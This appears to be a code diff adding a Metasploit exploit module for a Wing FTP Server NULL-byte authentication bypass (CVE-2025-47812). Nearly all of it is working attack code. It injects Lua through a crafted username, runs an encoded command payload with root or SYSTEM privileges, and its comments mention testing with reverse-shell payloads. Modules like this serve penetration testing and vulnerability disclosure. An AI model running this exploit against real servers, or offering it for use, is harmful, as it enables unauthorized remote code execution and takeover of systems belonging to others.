|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)', |
| 17 | + 'Description' => %q{ |
| 18 | + Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812). |
| 19 | + Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix, |
| 20 | + while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges, |
| 21 | + leading to Remote Code Execution. |
| 22 | + }, |
| 23 | + 'Author' => [ |
| 24 | + 'Valentin Lobstein', # Metasploit Module |
| 25 | + 'Julien Ahrens' # Vulnerability Discovery |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => [ |
| 29 | + ['CVE', '2025-47812'], |
| 30 | + ['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/'] |
| 31 | + ], |
| 32 | + 'Platform' => %w[unix linux win], |
| 33 | + 'Arch' => [ARCH_CMD], |
| 34 | + 'Targets' => [ |
| 35 | + [ |
| 36 | + 'Unix/Linux Command Shell', { |
| 37 | + 'Platform' => %w[unix linux], |
| 38 | + 'Arch' => ARCH_CMD |
| 39 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 40 | + } |
| 41 | + ], |
| 42 | + [ |
| 43 | + 'Windows Command Shell', { |
| 44 | + 'Platform' => 'win', |
| 45 | + 'Arch' => ARCH_CMD |
| 46 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 47 | + } |
| 48 | + ] |
| 49 | + ], |
| 50 | + 'DefaultTarget' => 0, |
| 51 | + 'Privileged' => true, |
| 52 | + 'DisclosureDate' => '2025-06-30', |
| 53 | + 'Notes' => { |
| 54 | + 'Stability' => [CRASH_SAFE], |
| 55 | + 'Reliability' => [REPEATABLE_SESSION], |
| 56 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] |
| 57 | + } |
| 58 | + ) |
| 59 | + ) |
| 60 | + |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]), |
| 64 | + OptString.new('PASSWORD', [ false, 'Password for authentication', '' ]) |
| 65 | + ] |
| 66 | + ) |
| 67 | + end |
| 68 | + |
| 69 | + def uid_cookie(res) |
| 70 | + res&.get_cookies_parsed&.[]('UID') |
| 71 | + end |
| 72 | + |
| 73 | + def post_login(username, password) |
| 74 | + send_request_cgi( |
| 75 | + 'method' => 'POST', |
| 76 | + 'uri' => normalize_uri(target_uri.path, 'loginok.html'), |
| 77 | + 'uri_encode_mode' => 'none', |
| 78 | + 'headers' => { |
| 79 | + 'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english' |
| 80 | + }, |
| 81 | + 'vars_post' => { |
| 82 | + 'username' => username, |
| 83 | + 'password' => password, |
| 84 | + 'username_val' => username.split('%00').first, |
| 85 | + 'password_val' => password |
| 86 | + } |
| 87 | + ) |
| 88 | + end |
| 89 | + |
| 90 | + def check |
| 91 | + res = send_request_cgi( |
| 92 | + 'method' => 'GET', |
| 93 | + 'uri' => normalize_uri(target_uri.path, 'login.html') |
| 94 | + ) |
| 95 | + return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client') |
| 96 | + |
| 97 | + if (ver_str = res.body[/Wing FTP Server v([\d.]+)/i, 1]) |
| 98 | + ver = Rex::Version.new(ver_str) |
| 99 | + return ver < Rex::Version.new('7.4.4') ? CheckCode::Vulnerable("Detected version #{ver} ≤ 7.4.4") : CheckCode::Safe("Detected version #{ver} > 7.4.4") |
| 100 | + end |
| 101 | + |
| 102 | + suffix = Rex::Text.rand_text_alpha(8) |
| 103 | + user = datastore['USERNAME'] |
| 104 | + pass = datastore['PASSWORD'] |
| 105 | + |
| 106 | + res2 = post_login("#{user}%00#{suffix}", pass) |
| 107 | + return CheckCode::Unknown('No response') unless res2 |
| 108 | + |
| 109 | + if uid_cookie(res2) |
| 110 | + CheckCode::Appears('UID cookie received') |
| 111 | + else |
| 112 | + CheckCode::Safe('UID cookie not found; not vulnerable') |
| 113 | + end |
| 114 | + end |
| 115 | + |
| 116 | + def exploit |
| 117 | + user = datastore['USERNAME'] |
| 118 | + pass = datastore['PASSWORD'] |
| 119 | + hex = payload.encoded.unpack('H*').first |
| 120 | + |
| 121 | + lua = <<~LUA |
| 122 | + ]] |
| 123 | + local function hx(s)#{' '} |
| 124 | + return (s:gsub('..', function(x)#{' '} |
| 125 | + return string.char(tonumber(x,16))#{' '} |
| 126 | + end))#{' '} |
| 127 | + end |
| 128 | + local cmd = hx("#{hex}") |
| 129 | + local h = io.popen(cmd) |
| 130 | + h:close() |
| 131 | + LUA |
| 132 | + |
| 133 | + inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--' |
| 134 | + |
| 135 | + res = post_login(inj, pass) |
| 136 | + fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200 |
| 137 | + |
| 138 | + uid = res.get_cookies_parsed.fetch('UID', nil) |
| 139 | + fail_with(Failure::UnexpectedReply, 'UID cookie not returned') unless uid |
| 140 | + print_good("Received UID: #{uid}, injection succeeded") |
| 141 | + |
| 142 | + send_request_cgi( |
| 143 | + 'method' => 'GET', |
| 144 | + 'uri' => normalize_uri(target_uri.path, 'dir.html'), |
| 145 | + 'headers' => { 'Cookie' => uid } |
| 146 | + ) |
| 147 | + end |
| 148 | +end |
0 commit comments